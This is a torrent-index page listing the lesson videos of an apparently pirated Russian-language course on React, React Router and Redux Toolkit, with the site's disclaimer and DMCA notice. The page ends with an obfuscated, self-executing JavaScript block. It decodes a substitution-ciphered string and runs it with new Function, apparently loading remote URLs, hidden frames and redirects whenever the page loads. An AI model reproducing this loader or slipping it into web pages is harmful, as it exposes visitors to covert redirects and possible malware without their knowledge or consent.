[Purpleschool] Основы React, React Router и Redux Toolkit (2023)

mp4   Hot:225   Size:3.73 GB   Created:2023-09-17 15:52:47   Update:2024-11-14 12:03:11  

File List

  • 91. Упражнение - Карточка товара.mp4 139.82 MB
    2. Как устроен курс.mp4 32.04 MB
    3. Обзор проектов.mp4 9.15 MB
    4. Обзор курсов.mp4 18.59 MB
    5. Курс с наставником.mp4 16.27 MB
    6. Проект с наставником.mp4 10.85 MB
    7. Настройка окружения (Настройка окружения).mp4 10.74 MB
    8. Настройки VSCode.mp4 19.86 MB
    9. Установка Node.js.mp4 22.15 MB
    10. О работе NVM.mp4 82.55 MB
    11. Создание проекта.mp4 22.85 MB
    12. Обзор проекта (Компоненты).mp4 16.42 MB
    13. Настройка eslint.mp4 20.56 MB
    14. Что такое компоненты.mp4 15.07 MB
    15. JSX.mp4 28.31 MB
    16. React Fragment.mp4 10.52 MB
    17. Декларативное описание.mp4 10.47 MB
    18. Создание первого компонента.mp4 14.14 MB
    19. Стилизация.mp4 21.92 MB
    20. Динамические данные.mp4 37.19 MB
    21. Props.mp4 21.2 MB
    22. Упражнение - Вывод даты.mp4 8.09 MB
    23. Композиция.mp4 27.99 MB
    24. Обработка событий (События и состояние).mp4 17.8 MB
    25. Отрисовка компонент.mp4 14.76 MB
    26. useState.mp4 37.38 MB
    27. Декомпозиция на компоненты.mp4 22.03 MB
    28. Упражнение - Вёрстка layout.mp4 56.8 MB
    29. Работа с SVG.mp4 26.53 MB
    30. Работа с input.mp4 14.42 MB
    31. Управляемые контролы.mp4 18.46 MB
    32. Отправка формы.mp4 42.63 MB
    33. Statefull и Stateless.mp4 12.4 MB
    34. Особенности useState.mp4 24.64 MB
    35. Работа со списком данных (Отображение данных).mp4 22.12 MB
    36. Упражнение - Добавление элементов.mp4 33.26 MB
    37. Key в списках.mp4 30.63 MB
    38. Отображение по условию.mp4 39.1 MB
    39. React Dev Tools.mp4 17.78 MB
    40. Отладка приложения.mp4 28.81 MB
    41. Изменение стилей (Стилизация).mp4 49.86 MB
    42. Динамические классы.mp4 24.27 MB
    43. CSS модули.mp4 32.77 MB
    44. Библиотека classnames.mp4 22.65 MB
    45. Упражнение - стилизация формы.mp4 68.46 MB
    46. Side Effects (Другие hooks).mp4 11.89 MB
    47. useEffect.mp4 32.07 MB
    48. Зависимости эффекта.mp4 25.13 MB
    49. Очистка эффекта.mp4 25.81 MB
    50. useReducer.mp4 18.44 MB
    51. Использование useReducer.mp4 66.89 MB
    52. Упражнение - Очистка формы.mp4 41.32 MB
    53. Exhaustive-deps.mp4 17.47 MB
    54. useRef.mp4 27.83 MB
    55. forwardRef.mp4 51.47 MB
    56. Создание своего hook.mp4 49.84 MB
    57. Правила hooks.mp4 15.16 MB
    58. Зачем нужен Context API (Контекст).mp4 30.11 MB
    59. Создание контекста.mp4 30.06 MB
    60. useContext.mp4 22.34 MB
    61. Методы в контексте.mp4 17.93 MB
    62. Custom context.mp4 16.37 MB
    63. Упражнение - работа контекста.mp4 26.85 MB
    64. Ограничения контекста.mp4 17.08 MB
    65. Как работает React (Работа React).mp4 13.53 MB
    66. Пример работы.mp4 22.68 MB
    67. Ререндер дочерних компонент.mp4 28.69 MB
    68. Memo.mp4 24.75 MB
    69. useCallback.mp4 12.45 MB
    70. Планировщик state.mp4 15.07 MB
    71. Batching.mp4 13.96 MB
    72. useMemo.mp4 24.36 MB
    73. Упражнение - Просмотр записи.mp4 41.86 MB
    74. Упражнение - Удаление записи.mp4 66.34 MB
    75. Вводное видео (Переход на TypeScript).mp4 12.33 MB
    76. Обзор проекта.mp4 10.82 MB
    77. Создание проекта.mp4 11.93 MB
    78. Типизация компонент.mp4 48.38 MB
    79. Типизация hooks и событий.mp4 17.19 MB
    80. Подготовка стилей проекта.mp4 37.64 MB
    81. Упражнение - Создание кнопки и input.mp4 46.2 MB
    82. О роутинге (React Router).mp4 15.88 MB
    83. Создание роутов.mp4 30.72 MB
    84. createBrowserRouter.mp4 19.07 MB
    85. Link.mp4 18.45 MB
    86. Outlet.mp4 17.17 MB
    87. Упражнение - Создание Layout.mp4 88.26 MB
    88. useLocation.mp4 17.4 MB
    89. NavLink.mp4 16.06 MB
    90. Упражнение - Заголовок и поиск.mp4 79.97 MB
    1. React и Redux (Введение).mp4 20.26 MB
    92. Роуты с параметрами.mp4 18.5 MB
    93. Работа с Insomnia (Взаимодействие с сервером).mp4 14.91 MB
    94. Создание запросов.mp4 43.3 MB
    95. Подключение axios.mp4 13.15 MB
    96 Обработка загрузки.mp4 17.58 MB
    97. Обработка ошибок.mp4 25.98 MB
    98. loader.mp4 22.78 MB
    99. errorElement.mp4 21.55 MB
    100. lazy.mp4 20.4 MB
    101. Suspense.mp4 16.49 MB
    102. defer и Await.mp4 45.74 MB
    103. Создание layout входа (Авторизация).mp4 33.06 MB
    104. Упражнение - Форма логина.mp4 63.05 MB
    105. Получение токена.mp4 54.35 MB
    106. Работа JWT.mp4 19.13 MB
    107. Приватные Routes.mp4 17.64 MB
    108. Хранение в localstorage.mp4 29.35 MB
    109. Что такое Redux (Redux Toolkit).mp4 22.14 MB
    110. Создание хранилища.mp4 21.5 MB
    111. Slice пользователя.mp4 20.38 MB
    112. Первый action.mp4 33.78 MB
    113. Хранение данных.mp4 47.27 MB
    114. Запросы в actions.mp4 64.65 MB
    115. Обработка ошибок.mp4 39.24 MB
    116. Упражнение - Профиль пользователя.mp4 52.17 MB
    117. Упражнение - Регистрация.mp4 43.38 MB
    118. Корзина товаров.mp4 50.79 MB
    119. Упражнение - Поиск товаров (Завершение проекта).mp4 57.76 MB
    120. Компонент корзины.mp4 75.32 MB
    121. Редактирование корзины.mp4 95.37 MB
    122. Упражнение - Хранение корзины.mp4 10.52 MB
    123. Расчёт суммы.mp4 47.64 MB
    124. Покупка товаров.mp4 63.61 MB
    125. Куда дальше.mp4 11.76 MB
    Основы React, React Router и Redux Toolkit.txt 3.11 KB

Download Info

  • Tips

    “[Purpleschool] Основы React, React Router и Redux Toolkit (2023)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="h9m3gbx3qf";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/CL/@@{jR8hQ^sp)Rs:7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"hQ^sp)Rs:7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYms5n6d1qmRT4"="@@{5p(LYpmQLqd0@fmRT4"="@@{D7(LSqms5n6d1qmRT4"="@@{dC(LJ^mQLqd0@fmRT4"="@@{(C(L:4ms5n6d1qmRT4"="@@{C2(LSYmQLqd0@fmRT4"="@@{25(LLSms5n6d1qmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm@dRJDdomRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n/f/@@{j(8}vR8hQ^sp)Rs:7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm0Y51J({mRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();